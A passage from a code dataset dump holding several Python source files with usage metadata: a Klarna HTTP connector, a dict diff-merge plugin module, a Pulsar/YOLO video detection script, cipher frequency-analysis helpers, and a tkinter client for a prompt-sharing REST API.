"flask.current_app.logger.info", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 123, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 128, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 128, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.current_app.logger.info", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 135, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 135, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 136, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 136, "usage_type": "name"}, {"api_name": "flask.current_app.config", "line_number": 141, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 141, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 150, "usage_type": "call"}]} {"seq_id": "272769374", "text": "'''Connector\n\nDefines a class by which facilitates performing HTTP actions on resources.\n'''\n\n# Copyright 2015 Klarna AB\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\n\ntry:\n from urllib.request import (build_opener, Request, BaseHandler,\n HTTPRedirectHandler, HTTPError)\n # silence pyflakes\n build_opener\n Request\n BaseHandler\n HTTPRedirectHandler\n HTTPError\nexcept ImportError:\n from urllib2 import (build_opener, Request, BaseHandler,\n HTTPRedirectHandler, HTTPError)\n\n__all__ = ('Connector', 'HTTPResponseException')\n\n\nclass Connector(object):\n '''Basic connector\n\n Uses a customised urllib(2) OpenerDirector to perform http requests while\n making sure to update the local resource accordingly.\n\n e.g updates location on HTTP 201\n '''\n\n def __init__(self, useragent, digester, base, build=build_opener):\n self.base = base\n self.opener = build(RedirectHandler(),\n AuthorizationHandler(digester),\n UserAgentHandler(useragent))\n\n def handle_response(self, resource, response):\n '''React upon the response returned'''\n\n data = response.read()\n headers = response.info()\n\n if response.code == 200 and data:\n resource.parse(json.loads(data.decode('utf-8')))\n\n if response.code == 201 and 'location' in headers:\n resource.location = headers['location']\n\n return response\n\n def apply(self, method, resource, options=None):\n '''Apply the method on the specific resource\n\n `method`: http method to use\n `resource`: resource object\n `options`: options\n - url: overrides url from resource\n '''\n\n options = options or {}\n resource.parse\n\n req = Request(options.get('url', None) or resource.location)\n req.resource = resource\n req.add_header('Accept', resource.accept)\n\n if method == 'POST':\n req.add_header('Content-Type', resource.content_type)\n data = options.get('data') or resource.marshal()\n req.data = json.dumps(data).encode('utf-8')\n\n try:\n resp = self.opener.open(req)\n return self.handle_response(resource, resp)\n except HTTPError as e:\n args = [e.getcode(), e.msg, e.read()]\n raise HTTPResponseException(str(args), *args)\n\n\nclass HTTPResponseException(IOError):\n def __init__(self, msg, code, reason, payload):\n self.code = code\n self.reason = reason\n self.payload = payload\n super(HTTPResponseException, self).__init__(msg)\n\n @property\n def json(self):\n return json.loads(self.payload.decode('utf-8'))\n\n\nclass AuthorizationHandler(BaseHandler):\n '''Handler that adds a authorization header with a digest.'''\n\n def __init__(self, digester):\n if not callable(digester):\n raise TypeError('digester must be callable')\n\n self.digester = digester\n\n def http_request(self, request):\n request.add_header(\n 'Authorization',\n 'Klarna %s' % self.digester(request.data))\n return request\n\n https_request = http_request\n\n\nclass UserAgentHandler(BaseHandler):\n '''Handler that adds a custom user-agent'''\n\n def __init__(self, ua):\n self._ua = ua\n\n def http_request(self, request):\n request.add_unredirected_header('User-agent', str(self._ua))\n return request\n\n https_request = http_request\n\n\nclass RedirectHandler(HTTPRedirectHandler):\n '''Handler that handles redirects\n\n In addition to the default HTTPRedirectHandler this class\n * updates resource location on 301\n * disallows redirects for POST on 301 and 302\n '''\n\n max_repeats = 1\n\n def redirect_request(self, req, *rest):\n resource = req.resource\n nreq = HTTPRedirectHandler.redirect_request(self, req, *rest)\n nreq.resource = resource\n return nreq\n\n def http_error_301(self, req, res, code, msg, headers):\n '''Update location and filter non-GET request before calling parent\n implementation.\n '''\n\n method = req.get_method()\n resource = req.resource\n\n # Update resource location\n if 'location' in headers:\n resource.location = headers['location']\n\n # Bail unless method is GET\n if method != 'GET':\n return res\n\n # Let parent handle the rest\n return HTTPRedirectHandler.http_error_301(\n self,\n req,\n res,\n code,\n msg,\n headers)\n\n def http_error_302(self, req, res, code, msg, headers):\n '''Filter non-GET request before calling parent implementation.'''\n\n method = req.get_method()\n\n # Bail unless method is get\n if method != 'GET':\n return res\n\n # Let parent handle the rest\n return HTTPRedirectHandler.http_error_302(\n self,\n req,\n res,\n code,\n msg,\n headers)\n", "sub_path": "klarnacheckout/connector.py", "file_name": "connector.py", "file_ext": "py", "file_size_in_byte": 5641, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.request.build_opener", "line_number": 26, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 27, "usage_type": "name"}, {"api_name": "urllib.request.BaseHandler", "line_number": 28, "usage_type": "name"}, {"api_name": "urllib.request.HTTPRedirectHandler", "line_number": 29, "usage_type": "name"}, {"api_name": "urllib.request.HTTPError", "line_number": 30, "usage_type": "name"}, {"api_name": "urllib2.build_opener", "line_number": 47, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 60, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 79, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 86, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 91, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 105, "usage_type": "call"}, {"api_name": "urllib2.BaseHandler", "line_number": 108, "usage_type": "name"}, {"api_name": "urllib2.BaseHandler", "line_number": 126, "usage_type": "name"}, {"api_name": "urllib2.HTTPRedirectHandler", "line_number": 139, "usage_type": "name"}, {"api_name": "urllib2.HTTPRedirectHandler.redirect_request", "line_number": 151, "usage_type": "call"}, {"api_name": "urllib2.HTTPRedirectHandler", "line_number": 151, "usage_type": "name"}, {"api_name": "urllib2.HTTPRedirectHandler.http_error_301", "line_number": 172, "usage_type": "call"}, {"api_name": "urllib2.HTTPRedirectHandler", "line_number": 172, "usage_type": "name"}, {"api_name": "urllib2.HTTPRedirectHandler.http_error_302", "line_number": 190, "usage_type": "call"}, {"api_name": "urllib2.HTTPRedirectHandler", "line_number": 190, "usage_type": "name"}]} {"seq_id": "438983979", "text": "import collections\nimport logging\nimport re\nfrom functools import partial\n\nfrom termcolor import colored\n\nfrom .helpers import add\n\n\nclass DiffMount(type):\n \"\"\"Metaclass for Diff plugin system\"\"\"\n # noinspection PyUnusedLocal,PyMissingConstructor\n def __init__(cls, *args, **kwargs):\n if not hasattr(cls, 'plugins'):\n cls.plugins = dict()\n else:\n cls.plugins[cls.__name__] = cls\n\n\nclass DiffBase(metaclass=DiffMount):\n \"\"\"Superclass for diff plugins\"\"\"\n def __init__(self, remote, local):\n self.logger = logging.getLogger(self.__module__)\n self.remote_flat, self.local_flat = self._flatten(remote), self._flatten(local)\n self.remote_set, self.local_set = set(self.remote_flat.keys()), set(self.local_flat.keys())\n\n # noinspection PyUnusedLocal\n @classmethod\n def get_plugin(cls, name):\n if name in cls.plugins:\n return cls.plugins[name]\n\n @classmethod\n def configure(cls, args):\n \"\"\"Extract class-specific configurations from CLI args and pre-configure the __init__ method using functools.partial\"\"\"\n return cls\n\n @classmethod\n def _flatten(cls, d, current_path='', sep='/'):\n \"\"\"Convert a nested dict structure into a \"flattened\" dict i.e. {\"full/path\": \"value\", ...}\"\"\"\n items = {}\n for k, v in d.items():\n new = current_path + sep + k if current_path else k\n if isinstance(v, collections.MutableMapping):\n items.update(cls._flatten(v, new, sep=sep).items())\n else:\n items[sep + new] = v\n return items\n\n @classmethod\n def _unflatten(cls, d, sep='/'):\n \"\"\"Converts a \"flattened\" dict i.e. {\"full/path\": \"value\", ...} into a nested dict structure\"\"\"\n output = {}\n for k, v in d.items():\n add(\n obj=output,\n path=k,\n value=v,\n sep=sep,\n )\n return output\n\n @classmethod\n def describe_diff(cls, plan):\n \"\"\"Return a (multi-line) string describing all differences\"\"\"\n description = \"\"\n for k, v in plan['add'].items():\n # { key: new_value }\n description += colored(\"+\", 'green') + \"{} = {}\".format(k, repr(v)) + '\\n'\n\n for k in plan['delete']:\n # { key: old_value }\n description += colored(\"-\", 'red') + k + '\\n'\n\n for k, v in plan['change'].items():\n # { key: {'old': value, 'new': value} }\n description += colored(\"~\", 'yellow') + \"{}:\\n\\t< {}\\n\\t> {}\".format(k, repr(v['old']), repr(v['new'])) + '\\n'\n\n if description == \"\":\n description = \"No Changes Detected\"\n\n return description\n\n @property\n def plan(self):\n \"\"\"Returns a `dict` of operations for updating the remote storage i.e. {'add': {...}, 'change': {...}, 'delete': {...}}\"\"\"\n raise NotImplementedError\n\n def merge(self):\n \"\"\"Generate a merge of the local and remote dicts, following configurations set during __init__\"\"\"\n raise NotImplementedError\n\n\nclass DiffResolver(DiffBase):\n \"\"\"Determines diffs between two dicts, where the remote copy is considered the baseline\"\"\"\n def __init__(self, remote, local, force=False):\n super().__init__(remote, local)\n self.intersection = self.remote_set.intersection(self.local_set)\n self.force = force\n\n if self.added() or self.removed() or self.changed():\n self.differ = True\n else:\n self.differ = False\n\n @classmethod\n def configure(cls, args):\n kwargs = {}\n if hasattr(args, 'force'):\n kwargs['force'] = args.force\n return partial(cls, **kwargs)\n\n def added(self):\n \"\"\"Returns a (flattened) dict of added leaves i.e. {\"full/path\": value, ...}\"\"\"\n return self.local_set - self.intersection\n\n def removed(self):\n \"\"\"Returns a (flattened) dict of removed leaves i.e. {\"full/path\": value, ...}\"\"\"\n return self.remote_set - self.intersection\n\n def changed(self):\n \"\"\"Returns a (flattened) dict of changed leaves i.e. {\"full/path\": value, ...}\"\"\"\n return set(k for k in self.intersection if self.remote_flat[k] != self.local_flat[k])\n\n def unchanged(self):\n \"\"\"Returns a (flattened) dict of unchanged leaves i.e. {\"full/path\": value, ...}\"\"\"\n return set(k for k in self.intersection if self.remote_flat[k] == self.local_flat[k])\n\n @property\n def plan(self):\n return {\n 'add': {\n k: self.local_flat[k] for k in self.added()\n },\n 'delete': {\n k: self.remote_flat[k] for k in self.removed()\n },\n 'change': {\n k: {'old': self.remote_flat[k], 'new': self.local_flat[k]} for k in self.changed()\n }\n }\n\n def merge(self):\n dictfilter = lambda original, keep_keys: dict([(i, original[i]) for i in original if i in set(keep_keys)])\n if self.force:\n # Overwrite local changes (i.e. only preserve added keys)\n # NOTE: Currently the system cannot tell the difference between a remote delete and a local add\n prior_set = self.changed().union(self.removed()).union(self.unchanged())\n current_set = self.added()\n else:\n # Preserve added keys and changed keys\n # NOTE: Currently the system cannot tell the difference between a remote delete and a local add\n prior_set = self.unchanged().union(self.removed())\n current_set = self.added().union(self.changed())\n state = dictfilter(original=self.remote_flat, keep_keys=prior_set)\n state.update(dictfilter(original=self.local_flat, keep_keys=current_set))\n return self._unflatten(state)\n", "sub_path": "states/engine.py", "file_name": "engine.py", "file_ext": "py", "file_size_in_byte": 5846, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "collections.MutableMapping", "line_number": 45, "usage_type": "attribute"}, {"api_name": "helpers.add", "line_number": 56, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 70, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 74, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 78, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 112, "usage_type": "call"}]} {"seq_id": "420634916", "text": "#########################################################\n# @names process_object_detection.py\n# @author Yen Chun Li\n#\n# @params input Input Pulsar topic\n# @params output Output Pulsar topic\n# @params url Pulsar service url\n# @params darknet_dir The dir of darknet folder\n# @params debug Debug mode when debug=1, default=0\n#\n#########################################################\nfrom YoloDetector import YoloDetector\nimport argparse\nimport cv2\nimport numpy as np\nimport pulsar\nfrom pulsar import MessageId\nfrom pulsar.schema import *\nimport time\nimport ast\nimport argparse\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--input\", required=True,\n help=\"pulsar topic to input raw video\")\nap.add_argument(\"-o\", \"--output\", required=True,\n help=\"pulsar topic to output processed video\")\nap.add_argument(\"-u\", \"--pulsarUrl\", required=True,\n help=\"url for pulsar broker\")\nap.add_argument(\"-m\", \"--mode\", default=0,\n help=\"m=0 tiny-yolov3, m=1 yolov3\")\nap.add_argument(\"-d\",\"--debug\", default=0,\n help=\"d=1 debug yes\")\n\n\nargs = vars(ap.parse_args())\n\nINPUT_TOPIC = args['input']\nOUTPUT_TOPIC = args['output']\nPULSAR_URL = args['pulsarUrl']\nMODE = int(args['mode'])\nDEBUG = args['debug']\n\n\n\nclass Frame(Record):\n timestamp = String()\n img = Bytes()\n\nclass YOLOFrame(Record):\n timestamp = String()\n processed_img = Bytes()\n detections = String()\n\n\n\n############################################################\n# 1. Connect to Pulsar and create \n# 2. Initial YoloDetector to use Yolov3\n############################################################\nclient = pulsar.Client(PULSAR_URL)\nif(DEBUG):\tprint(\"[Info] Create Client to \" + PULSAR_URL)\n\nreader = client.create_reader(\n topic=INPUT_TOPIC, \n start_message_id=MessageId.latest, \n receiver_queue_size=5000,\n schema=AvroSchema(Frame)\n )\n\nproducer = client.create_producer(\n topic=OUTPUT_TOPIC,\n schema=AvroSchema(YOLOFrame))\n\nyoloDetector = YoloDetector(yolo_dir=\"darknet\", gpu_num=0, mode=MODE)\n\nprint(\"[Info] start sending data\")\n\nwhile True:\n #############################################################\n # Get Input Streaming data\n # 1. Read data from Pulsar\n # 2. Decode img from bytes to numpy.ndarray\n #############################################################\n prev = time.time()\n msg = reader.read_next()\n #print(msg.publish_timestamp())\n time1 = time.time()\n if(DEBUG): print(\"[Time] {} Pulsar read time\".format(1/(time1-prev)))\n time2 = time.time()\n frame = cv2.imdecode(np.frombuffer(msg.value().img, np.uint8), -1)\n # Alternative decoding with mxnet.image\n #img_ndarray = mx.image.imdecode(msg.value().img)\n #frame = img_ndarray.asnumpy()\n time3 = time.time()\n if(DEBUG): print(\"[Time] {} imdecode from bytes to numpy.ndarray\".format(1/(time3-time2)))\n #############################################################\n # Process image by yolo \n # 1. Get the detections which generated by Yolov3\n # 2. Get the resized frame (416*416)\n #############################################################\n \n detections = yoloDetector.processImgByYolo(frame)\n frame = yoloDetector.frame_resized\n\n time2 = time.time()\n if(DEBUG): print(\"[Time] {} process time by yolo\".format(1/(time2-time3)))\n #print(type(detections))\n #print(str(detections))\n #print(type(ast.literal_eval(str(detections))))\n \n ret, jpeg = cv2.imencode('.jpg', frame)\n _t = msg.value().timestamp\n _Y = YOLOFrame(timestamp=_t,\n processed_img=jpeg.tobytes(),\n detections=str(detections))\n producer.send(_Y)\n \n if(DEBUG): print(\"send data\")\n time2 = time.time()\n if(DEBUG): print(\"[Time] {} send data to pulsar\".format(1/(time2-time3)))\n print(\"{} {} {}\".format(_t, 1/(time.time() - prev), INPUT_TOPIC))", "sub_path": "processor/object-detect/gpu/process_object_detection.py", "file_name": "process_object_detection.py", "file_ext": "py", "file_size_in_byte": 4028, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}, {"api_name": "pulsar.Client", "line_number": 61, "usage_type": "call"}, {"api_name": "pulsar.MessageId.latest", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pulsar.MessageId", "line_number": 66, "usage_type": "name"}, {"api_name": "YoloDetector.YoloDetector", "line_number": 75, "usage_type": "call"}, {"api_name": "time.time", "line_number": 85, "usage_type": "call"}, {"api_name": "time.time", "line_number": 88, "usage_type": "call"}, {"api_name": "time.time", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.imdecode", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 91, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 95, "usage_type": "call"}, {"api_name": "time.time", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 112, "usage_type": "call"}, {"api_name": "time.time", "line_number": 120, "usage_type": "call"}, {"api_name": "time.time", "line_number": 122, "usage_type": "call"}]} {"seq_id": "171492086", "text": "\"\"\"cipher: Analysis functions.\"\"\"\nfrom collections import Counter\nimport re\nimport string\n\n\ndef find_letter_freq(text):\n \"\"\"Finds frequency of letters in `text`.\n\n Args:\n text (str): Input text.\n\n Returns:\n `dict` of letters and relative frequency as percent.\n\n Raises:\n None\n \"\"\"\n\n letters = re.sub('[' + string.punctuation + string.digits + \\\n string.whitespace + ']', '', text.upper())\n count = Counter(list(letters))\n\n return {i: count[i] / float(len(letters)) * 100.0 for i in count}\n\n\ndef find_common_words(text):\n \"\"\"Finds common words in `text`.\n\n Args:\n text (str): Input text.\n\n Returns:\n Ordered `list` of the 26 most common words in `text`.\n\n Raises:\n None\n \"\"\"\n\n words = re.sub('[' + string.punctuation + string.digits + ']',\n '', text.upper())\n\n return [i[0] for i in Counter(words.split()).most_common(26)]\n\n\ndef find_locations(text, word):\n \"\"\"Finds the frequent distances between occurrences of `word` in `text`.\n\n Args:\n text (str): Input text.\n word (str): Subject of analysis.\n\n Returns:\n `Counter` of the 26 most common distances between `word` in `text`.\n\n Raises:\n None\n \"\"\"\n\n text = text.lower().replace(word.lower(), word.upper())\n text = re.sub('[' + string.punctuation + string.digits + \\\n string.whitespace + ']', '', text)\n locs = [i.start() for i in re.finditer(word.upper(), text)]\n diff = [j - i for i, j in zip(locs[:-1], locs[1:])]\n\n return Counter(diff).most_common(26)\n\n\ndef find_freq_pattern(text, length):\n \"\"\"Find letter frequency patterns when `text` is broken into chunks of\n size `length`.\n\n Args:\n text (str): Input text.\n length (int): Size of `text` chunks.\n\n Returns:\n `list` of letter frequencies at indices of `text` chunks.\n\n Raises:\n None\n \"\"\"\n\n text = re.sub('[' + string.punctuation + string.digits + \\\n string.whitespace + ']', '', text.upper())\n chunks = re.findall('.' * length, text)\n freqs = []\n for i in range(length):\n count = Counter([j[i] for j in chunks]).most_common(5)\n freqs.append(dict(count))\n\n return freqs\n", "sub_path": "cipher/tools.py", "file_name": "tools.py", "file_ext": "py", "file_size_in_byte": 2271, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.sub", "line_number": 20, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 20, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 20, "usage_type": "attribute"}, {"api_name": "string.whitespace", "line_number": 21, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 22, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 40, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 40, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 40, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 43, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 61, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 61, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 61, "usage_type": "attribute"}, {"api_name": "string.whitespace", "line_number": 62, "usage_type": "attribute"}, {"api_name": "re.finditer", "line_number": 63, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 66, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 84, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 84, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 84, "usage_type": "attribute"}, {"api_name": "string.whitespace", "line_number": 85, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 86, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 89, "usage_type": "call"}]} {"seq_id": "68902949", "text": "from requests import Session\n\nimport tkinter\nfrom tkinter import Frame, Button, Label, StringVar, \\\n Entry\nfrom tkinter.messagebox import showerror, showinfo\n\nimport json\n\nURL = 'http://127.0.0.1:8000/api/'\n\n## configs\nfont = \"Times News Roman\"\n# buttons\nbutt_base = {'bg':'magenta', 'activebackground':'pink','borderwidth':3, 'wraplength': False,\n 'pady': 10, 'padx':10, 'font':[font, 10], 'justify':'center'}\n# labels\nlab_base = {'bg':'black', 'fg':'white', 'borderwidth':1, 'highlightthickness':False,\n 'wraplength': False, 'pady': 10, 'padx':10,'font':[font, 10], 'justify':'center'}\n\nheader_lab = lab_base.copy()\nheader_lab.update({'fg':'indigo',\n 'bg':'gray',\n 'font':[font, 15]})\n\nentry_base = {'bg':'grey', 'fg':'white', 'borderwidth':1, 'highlightthickness':True,\n 'font':[font, 10], 'justify':'center'}\n\nframes = {\n 'header': {'bg': 'grey', 'name':'header', 'pady':0},\n 'main': {'bg': 'black', 'name':'main', 'pady':1},\n 'scenario': {'bg': 'grey',\n 'highlightthickness':True,\n 'pady':2}\n}\n\n\n# decorators\ndef clean_and_set_up(param_function):\n \"\"\"\n To switch between frames, very convenient.\n But I think it still needs some work.\n \"\"\"\n def inner_function(*args, **kwargs):\n try:\n frame_name = kwargs['frame']\n root = kwargs['parent']\n old_frame = kwargs['old_frame']\n\n old_frame.destroy()\n except KeyError:\n pass\n if not 'parent' in kwargs:\n root = args[0].root\n frame = Frame(root, frames[frame_name])\n frame.grid(column=0, row=frames[frame_name]['pady'])\n param_function(*args, frame)\n return inner_function\n\nclass App(object):\n def load_user_data(self):\n try:\n with open('token.json') as file:\n return json.load(file)\n except:\n return\n\n def __init__(self):\n self.session = Session()\n\n user_data = self.load_user_data()\n\n self.root = tkinter.Tk()\n self.root.title('Prompts Club')\n #self.root.geometry('1200x720')\n self.root.config(bg='black')\n\n if user_data:\n self.token = user_data['token']\n self.user = user_data['username']\n\n self.auth_user_main_frame(parent=self.root,\n frame='header')\n else:\n self.anon_user_main_frame(parent=self.root,\n frame='header')\n \n # --- helper methods ---\n def check_for_errors(self, res):\n if res.status_code > 399:\n # there is an error\n message = ''\n for key, value in res.json().items():\n # since the response often comes as a list\n value = ''.join(value)\n key = key.capitalize()\n message += f'{key}: {value}\\n'\n showerror(title='Uh-oh, something went wrong',\n message=message)\n return True\n return False\n\n # stolen from my auto tests (as planned)\n def create_object(self, obj_url, data):\n res = self.session.post(f'{URL}{obj_url}/make/', data=data)\n self.check_for_errors(res)\n\n return res.json()\n\n def edit_object(self, obj_url, data):\n res = self.session.put(f'{URL}{obj_url}/edit/', data=data)\n self.check_for_errors(res)\n\n return res.json()\n \n def get_object(self, obj_url):\n res = self.session.get(f'{URL}{obj_url}')\n self.check_for_errors(res)\n \n return res.json()\n \n def delete_object(self, obj_url):\n res = self.session.delete(f'{URL}{obj_url}/delete/')\n self.check_for_errors(res)\n\n return res.json()\n\n def create_user(self, old_frame, credentials):\n # create dummy user\n res = self.session.post(f'{URL}account/register/',\n data=credentials)\n if not self.check_for_errors(res):\n self.login_user(old_frame, credentials)\n\n def login_user(self, old_frame, credentials):\n res = self.session.post(f'{URL}account/login/',\n data=credentials)\n if not self.check_for_errors(res):\n self.user = credentials['username']\n self.token = res.json()['token']\n with open('token.json', 'w') as file:\n json.dump({'username': self.user,\n 'token': self.token}, file)\n \n showinfo('Success', f'Welcome (back?), {self.user}. '\n 'Your daily dose of \\'stuff\\' awaits you.')\n\n self.auth_user_main_frame(old_frame=old_frame,\n frame='header')\n\n def logout_user(self, old_frame):\n # nothing fancy\n del self.session.headers['Authorization']\n \n self.anon_user_main_frame(old_frame=old_frame,\n frame='header')\n\n def get_scenarios(self, query):\n if query.startswith('#'):\n # meaning we need to look for a tag\n data = self.get_object(f'scenario/tag/{query}')\n elif query.startswith('%'):\n data = self.get_object(f'account/{query}/content')\n elif query:\n # A title\n data = self.get_object(f'scenario/{query}')\n else:\n data = self.get_object(f'scenario')\n \n return data\n\n # --- tkinter-based views --- \n\n # Header frames\n #\n # One of those must be always active on top.\n # Serves as a quick menu.\n @clean_and_set_up\n def auth_user_main_frame(self, frame):\n self.session.headers['Authorization'] = f'Token {self.token}'\n main_label = Label(frame,\n text=f'Welcome, {self.user}.',\n **lab_base)\n main_label.config(bg='dark gray')\n main_label.grid(row=0, column=0)\n \n logout_button = Button(frame, command=lambda: self.logout_user(frame),\n text='Log-out', **butt_base)\n logout_button.grid(row=0, column=1)\n\n self.dashboard_window(parent=self.root,\n frame='main')\n\n @clean_and_set_up\n def anon_user_main_frame(self, frame):\n main_label = Label(frame,\n text='Welcome, Anon. You can read anything you want, ' \\\n 'but you need an account to create content for ' \\\n 'the platform.\\nIt makes my life easier, ' \\\n 'please understand.',\n **lab_base)\n main_label.config(bg='dark gray')\n main_label.grid(row=0, column=0)\n log_in_button = Button(frame, command=lambda: \\\n self.enter_window(parent=self.root,\n frame='main'),\n text='Log-in' ,**butt_base)\n log_in_button.grid(row=0, column=1)\n\n self.init_window(parent=self.root,\n frame='main')\n\n # Main Frames\n @clean_and_set_up\n def init_window(self, frame):\n welcome = 'Create an account to start making scenarios ' \\\n 'or browse what other people have made.'\n welcome_label = Label(frame, text=welcome, **lab_base)\n welcome_label.grid(row=0,column=0, columnspan=2, pady=100)\n\n goto_enter = Button(frame, command=lambda: self.enter_window(\n old_frame=frame,\n frame='main'),\n text='Join', **butt_base)\n goto_enter.grid(row=1,column=0)\n goto_dashboard = Button(frame,\n command=lambda:self.dashboard_window(\n old_frame=frame,\n frame='main'),\n text='Browse', **butt_base)\n goto_dashboard.grid(row=1,column=1)\n\n @clean_and_set_up\n def enter_window(self, frame):\n username = StringVar()\n password = StringVar()\n \n register_label = Label(frame, text='Log in or register.', **lab_base)\n register_label.grid(row=0,column=0, columnspan=2, pady=100)\n \n username_label = Label(frame, text='Username', **lab_base)\n username_label.grid(row=1,column=0)\n username_entry = Entry(frame, textvariable = username, **entry_base)\n username_entry.grid(row=1,column=1)\n\n password_label = Label(frame, text='Password', **lab_base)\n password_label.grid(row=2,column=0)\n password_entry = Entry(frame, textvariable = password, **entry_base)\n password_entry.grid(row=2,column=1)\n\n register_button = Button(frame, command=lambda:self.create_user(\n old_frame=frame,\n credentials={\n 'username': username.get(),\n 'password': password.get()\n }),\n text='Create', **butt_base)\n register_button.grid(row=3,column=0)\n register_button = Button(frame, command=lambda:self.login_user(\n old_frame=frame,\n credentials={\n 'username': username.get(),\n 'password': password.get()\n }),\n text='Log-in', **butt_base)\n register_button.grid(row=3,column=1)\n\n @clean_and_set_up\n def dashboard_window(self, frame, query_=''):\n query = StringVar()\n\n scenario_frame = Frame(frame, **frames['scenario'])\n\n search_bar_label = Label(frame, text='Search title, insert \\\"#\\\" ' \\\n 'to search a particular tag or ' \\\n '\\'%\\' to look for a particular ' \\\n 'user\\'s content.', **lab_base)\n search_bar_label.grid(column=0, row=0)\n search_bar_entry = Entry(frame, textvariable = query, **entry_base)\n search_bar_entry.grid(column=0, row=1)\n \n search_button = Button(frame, command = lambda:\t\\\n self.dashboard_window(query.get(),\n frame='main'),\n **butt_base)\n \n counter = 0\n data = self.get_scenarios(query_)\n for scenario in data['results']:\n user = self.get_object(f'account/{scenario[\"user\"]}')['username']\n title = scenario['title']\n description = scenario['description']\n scenario_frame = Frame(frame, **frames['scenario'])\n scenario_frame.grid(column=0,\n row=frames['scenario']['pady']+counter)\n made_by_label = Label(scenario_frame, text='Made by:',\n **header_lab)\n made_by_label.grid(row=counter, column=0, sticky='w') \n user_label = Label(scenario_frame, text=user,\n **header_lab)\n user_label.grid(row=counter, column=1, sticky='e')\n title_label = Label(scenario_frame, text=title,\n **header_lab)\n title_label.grid(row=counter+1, column=0, sticky='w')\n desc_label = Label(scenario_frame, text=description,\n **lab_base)\n desc_label.grid(row=counter+2, column=0, columnspan=2)\n \n counter+=3\n \nif __name__ == '__main__':\n app = App()\n app.root.mainloop()\n", "sub_path": "app/prompt_club.py", "file_name": "prompt_club.py", "file_ext": "py", "file_size_in_byte": 11982, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tkinter.Frame", "line_number": 55, "usage_type": "call"}, {"api_name": "json.load", "line_number": 64, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 69, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 73, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 98, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 142, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 145, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 181, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 187, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 196, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 204, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 218, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 221, "usage_type": "call"}, {"api_name": "tkinter.Button", 